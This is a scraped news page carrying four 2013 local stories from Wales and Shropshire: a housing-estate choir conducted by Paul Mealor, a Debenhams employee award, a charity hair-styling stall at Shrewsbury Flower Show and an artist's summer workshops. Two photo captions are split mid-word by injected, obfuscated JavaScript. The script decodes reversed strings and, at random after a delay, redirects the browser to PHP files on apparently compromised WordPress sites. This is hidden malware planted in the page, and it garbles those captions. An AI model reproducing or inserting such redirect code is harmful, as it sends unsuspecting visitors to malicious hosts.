Category: News

Musical magic earns national acclaim for North Wales community choir

Cartrefi Cowny Peulwys Community Choir at The North Wales Musical Festival at St Asaph Cathedral last night. The Royal composer Paul Mealor

A community choir from a housing estate conducted by royal composer Paul Mealor who wrote the Military Wives’ hits has won national acclaim.

The choir from Parc Peulwys and surrounding communities in Llysfaen, near Colwyn Bay, earned a rousing reception when they made their debut at the prestigious North Wales International Musical Festival, in St Asaph, last year.

Now the pioneering project has been recognised by the Arts and Business Cymru organisation.

It was highly commended at a glittering ceremony at the Millennium Centre in Cardiff.

The sell-out concert at St Asaph Cathedral was an unforgettable experience for the choir – most of whom had never sung publicly before – that was made up of children and adults.

It was also a memorable occasion for the St Asaph-born conductor and composer, Prof Paul Mealor, who returned to the cathedral where he himself was a chorister as a boy.

Prof Mealor shot to world-wide fame thanks to the Royal wedding anthem he wrote for Prince William and Kate Middleton. Now, he’s also written a special lullaby for their son, Prince George of Cambridge.

He also wrote the music for the Military Wives’ two chart topping hits, Wherever You Are and In Your Dreams, which were both sung by the Peulwys Community Choir.

The choir was the brainchild of Andrew Bowden, the Chief Executive of housing association Cartrefi Conwy, who have embarked on a £4 million improvement programme on the estate.

With the help of the festival’s Artistic Director Ann Atkinson, the dream became a reality with funding from contractors G Purchase Construction Ltd and Arts and Business Cymru through their Culture Step Programme.

Prof Paul Mealor said: “This was a brilliant project and their performance was fantastic, this is what real music making is all about.

“I am delighted their achievement has been recognised by Arts and Business Cymru.”

Prof Mealor will also have an important role at this year’s event and has been made a Vice President of the festival.

He is writing special choral work to celebrate the Prince of Wales’s 65th birthday which will be premiered at the festival in September.

It has been commissioned jointly by the festival – which is supported by the Welsh Arts Council – and London-based Holywell Music, one of Europe’s leading harp suppliers.

The Prince’s first official harpist, international star Catrin Finch, and the current royal harpist, Hannah Stone, will both accompany the performance.

The premiere will be one of many highlights to be provided by a stellar line-up that also includes the Swingle Singers, virtuoso pianist Peter Donohoe, historical performance ensemble, La Serenissima and the BBC National Orchestra of Wales.

News of the accolade was music to the ears of Cartrefi Conwy Chief Executive Andrew Bowden.

He said: “I am so proud that this fantastic effort has been given the recognition it deserves.

“This project sums up what Cartrefi Conwy is all about because our mission statement is about creating communities to be proud of.”

It was a sentiment echoed by Jeff Bell, Group Commercial Director of G Purchase Construction Ltd.

He said: “It’s been wonderful. This is exactly what we have been looking for to support in local communities, bringing people of all ages together.

“It’s the local people who have delivered this – they have done themselves proud and made us very proud. We’re just lucky to be associated with this project.”

Ann Atkinson added: “It was very, very emotional after working with them and seeing how they developed and how they got used to singing in harmony and reading the music.

“To see them get up on stage and perform like that is absolutely amazing. It was utterly remarkable. and the recognition from Arts and Business Cymru is the icing on the cake.”

For more information about this year’s festival and how to buy tickets go to: www.nwimf.com

Monday August 12th, 2013

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Pam, Employee of the Year finds dream job at Swansea Debenhams

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A woman who hadn’t worked for years because of illness has been named Employee of the Year just 12 months after landing her dream job at Swansea‘s Quadrant Shopping Centre Debenhams store.

Pam Border, 49, who suffers from severe osteoarthritis, says she didn’t think there was a job she could manage but a chance conversation in the Debenhams café as she enjoyed a coffee changed all that.

Pam, who lives in Cimla, near Neath, with her daughter, Natalie, said: “I just couldn’t see myself getting a job then one day I heard, when I was having a coffee in the store, that Debenhams were recruiting.

“I thought I’d give it a go but you had to apply on-line and I couldn’t do that. Anyway, the manager gave me an interview and I landed the job.

“Basically I work 16 hours a week. I do Tuesday, Wednesday, Thursday and Friday lunchtimes and four hours on a Saturday.

“My job is to greet customers in the restaurant and advise them on specials we might have on offer and generally help them with their food and drink orders.”

She added: “I absolutely love the job and the staff are brilliant too. I like to treat people as I’d expect to be treated – like a queen, to be honest. I meet so many nice people and love working with all my colleagues.

“I just love the job I can’t say much more than that. I won Employee of the Month last September just two months after I started. I couldn’t believe it and can’t believe I won the Employee of the Year Award. It’s amazing.”

And Pam says while getting a job hasn’t improved her disability it hasn’t made it any worse either.

She said: “I was worried I’d end up in more pain but that hasn’t happened. In fact I feel better about myself really even if the pain won‘t go away. Now I’m not sure what I’d do if I didn’t have my job.

“I meet so many nice people and just really like the staff in the Debenhams team from the managers to the cleaners. It’s like being part of a big family.”

Ian Kirkpatrick, Manager of the Quadrant Centre, said: “Pam does a wonderful job for Debenhams and you’re treated like royalty when you arrive at the restaurant.

“I’m sure lots of people go there just to see her because she is always so cheerful and helpful and makes a fuss of you.”

Debenhams store manager, James Loxdale, says there could only have been one winner of the Employee of the Year title.

He said: “I am very proud of all our staff at Debenhams Swansea. They have all played their part, and done a great job, throughout the store modernisation programme we have just completed which was launched last week and went exceptionally well.

“Pam has been an outstanding member of staff since she started with us 12 months ago. She has acted as our in-store restaurant welcome host.

“Quite simply, Pam puts a smile on everyone’s face as she greets and helps them chose their favourite meals and snacks and updates them on our special offers.

“I was delighted to give her the opportunity to join our team here at Debenhams 12 months ago. She is just a really lovely lady with a big heart and character. So many customers comment about her welcoming smile and manner.

“We had 11 other candidates from our Employee of the Month awards but Pam’s outstanding performance meant she was the stand-out candidate and I’m delighted she has won.”

Lucky winner Pam has received a £200 Debenhams Voucher and will attend Debenhams’ Celebrating Success Gala Event at Alton Towers next month for all the Debenhams Stores Employees of the Year from across the UK.

Friday August 9th, 2013

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K2 stylists prune show-goers for charity at Shrewsbury Flower Show

K2 Salon in Darwin Centre, owner Philip Min$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton and stylists, from left, Georgina Hughes, Jo Stephens and Beth Hughes doing a charity hair styling at Shrewsbury Flower Show this Friday and Saturday in aid of Lingen Davies Cancer Charity

Shrewsbury’s annual flower show will see more than just roses pruned and dahlias clipped as two hair stylists will be on hand to snip the hair of festival goers while raising funds for charity.

The Darwin Shopping Centre’s K2 salon proprietor Philip Minton and hair stylist Georgina Hughes, 23, will be on hand offering free styling sessions while inviting donations in support of a local cancer charity.

It’s the third time in four years K2 staff have been at Shrewsbury Flower Show raising funds for the Royal Shrewsbury Hospital-based Lingen Davies Cancer Fund which aims to improve cancer services for the relief of Shropshire and Mid-Wales patients.

Philip, who has run hair salons in Shrewsbury for 42 years including K2 in the Darwin Centre for the last nine years, says he is pleased to once again be able to support the Lingen Davies Appeal.

He said: “We did the same in 2010 and 2011 and I’m thrilled to be going back. Lingen Davies Cancer Relief does a really important job in making things a lot more comfortable for many cancer patients.

“Over the years we, at K2, have had many clients who have been treated themselves for cancer and the Appeal has supported them exceptionally well. It’s certainly a charity we are keen to support.

“I am going along with one of our stylists, Georgina Hughes, as well as a couple of trainees. We will be working flat out trying to raise as much money as we can for the Appeal.

“In previous years it has been incredibly busy and really hard but enjoyable work.”

Stylist Georgina Hughes, 23, who has worked at K2 for seven years having started out as a Saturday girl, says she is looking forward to the event.

She said: “It’s definitely hard work but a really good couple of days. We are going to be there Friday and Saturday. I’ve done it twice before and it’s amazingly busy.

“I think we raised around £700 last time which was amazing but hopefully this year we can better that total. Phillip has arranged goodie bags too full of hair products which we will be giving out for a small donation.”

She added: “We have also supported the Lingen Davies Cancer Fund. It’s a local charity and benefits so many people in the area.

“We will be in the Darwin Centre marquee at the Flower Show so if you want a whole new look, a different style or just a trim, pop down and see us and help raise funds for what is a very good cause.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “It seems like a really good deal to me. You can get your hair cut by two top stylists and raise money for a really important local charity as well.

“K2 have been brilliant over the years at getting involved in things like this and they’re a really community focused business and top quality too – a few weeks ago Philip was styling the hair of the stars at the British Soap Awards.”

Lingen Davies Cancer Fund Fundraising Manager Louise Davies says she is delighted that, once again, Philip and his K2 staff are supporting the charity.

She said: “It’s absolutely fantastic that K2 have chosen to support us once again. It’s so important and their continued support is really important and welcome.

“As a charity we have been committed, since 1979, to buying new equipment and fund new buildings to be used in support of patients requiring cancer care.”

She added: “The charity changed its name to the Lingen Davies Cancer Relief Fund in 1994 in recognition of the hard work and dedication of previous mayor of Shrewsbury Bernard Lingen and local accountant Frank Davies.

“They had initially launched the Cobalt Unit Trust Fund to raise funds to build and equip a new Radiotherapy Department at the Royal Shrewsbury Hospital, so people with cancer in Shropshire and Mid Wales could receive their treatment and care locally.

“Since 1979, the charity continued with its commitment by raising funds to provide new buildings and equipment to give a more comfortable and suitable environment for local cancer patients.

“In April 2013 we changed the name of the charity to the Lingen Davies Cancer Fund. It’s our aim to continue investing the millions of pounds we raise to improve the facilities for local cancer patients.”

Friday August 9th, 2013

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Shropshire artist to hold workshops while she waits for results of award

DARWIN SHOPPING CENTRE SHREWSBURY ?. Pho$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tographed is Artist Pip Tudor who is up for major award for her film work.

An art student who went Dutch to work with a renowned film-maker is home in Shropshire for a series of inspiring craft workshops.

Philippa ‘Pip’ Tudor is back in her native Shrewsbury having completed a degree in Fine Art at Central St. Martins’ college of Art and Design, London.

She spent much of her final year in Rotterdam on an Erasmus exchange placement before flying back to England to find she has been nominated for the college’s prestigious Nova Award.

The 23-year-old will have to wait until September to find out whether she’s beaten off competition from 13 of the top young creatives in the country to pick up the trophy, which celebrates the cream of Central St Martins’ talent.

And what talent, CSM’s alumni include some of the greatest names in British art and design, including artist Lucien Freud, designers Jeff Banks and Stella McCartney, film director Mike Leigh and sculptor Anthony Gormley.

But until then Pip will be busy hosting “fun and innovative” workshops at Shrewsbury’s Darwin Centre and Claremont Bank, with her friend and ‘Collective Light Culture’ colleague Emma Castle.

The pair work with a wide range of mediums including digital and analogue filmmaking, photography and sculpture.

She said: “We aim to promote different methods of thinking about our surroundings, the sustainable use of materials and the ideas that art does not have to be a watercolour landscape or a still life piece of fruit, it can be whatever you want it to be.”

The workshops are aimed at those aged 15-plus and children aged eight to 14, and Emma and Pip will use unusual materials and bizarre crafts to bring art to life for those visiting them throughout the week beginning Monday, August 12, and running until Sunday, August 18.

Pip said: “Throughout the week we’ll hold workshops for kids and sessions aimed at adults who want to do something a little different with their time.

“We’ll be using odd materials and bringing them to life. This is what Emma and I do best and we’re looking forward to sharing that.”

The 8-14 age group will enjoy shadow play, experimental drawing, pinhole photography and moving images.

“We will make characters from found materials to make a short shadow puppet play which will be filmed and exhibited,” said Pip.

“We will make our own cameras and find out how we can use the environment to make images.

“And as a group, we will create enormous sculptures made of absolutely anything.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “Pip is one of our most talented and innovative young artists and I’m sure her workshops will be a lot of fun.

“Shrewsbury is a real hotbed of art and creativity and we’re delighted to be able to reflect that here at the shopping centres.”

Pip is also happy to find a new and unusual place for her work and she added: “This is a new opportunity for both of us, and something that has been in the planning for a while.

“It’s about working within the local community, spreading the word of craft-based art practice to an audience who may not have had these opportunities before locally.

“We are still preparing for the workshops, but hope it will be a great success and something we can continue in the future.”

Among the mediums the 15-plus sessions will include are portraiture, castings and a ‘photo walk’.

The workshops will culminate in an exhibition on August 18.

Pip is excited at the prospect, and equally thrilled at her nomination for the Nova Award.

She was chosen for a final year project which saw her create a camera from scratch and work with 35mm and 16mm analogue film, as she did during her six-month placement in the Netherlands.

There she worked at Filmwerkplaatz with the Dutch film-maker Esther Urlus alongside events organised with Paolo Devanzo and Lisa Marr of the Echo Park Film Centre, LA.

Together with Emma, Pip has big plans for the future, including an art café and introducing further “unique, interesting and fun” exhibitions to neighbouring communities.

“I wouldn’t say I have a big plan, I’m going to see how I get on at the Nova Awards and enjoy the summer first,” said Pip.

“Fingers crossed I do well, but I was more than happy to be on the shortlist and recognised for my work.

“Somewhere in the future I would love to open up a café or arts space where workshops and exhibitions can take place, possibly in Shrewsbury. We’ll see what happens but for now I’m happy sharing my love of art with a wider audience at these workshops.”

For more information or to book a place on one of Collective Light Culture’s Summer 2013 workshops, email to:collectivelightuk@gmail.com">collectivelightuk@gmail.com.

 

Friday August 9th, 2013

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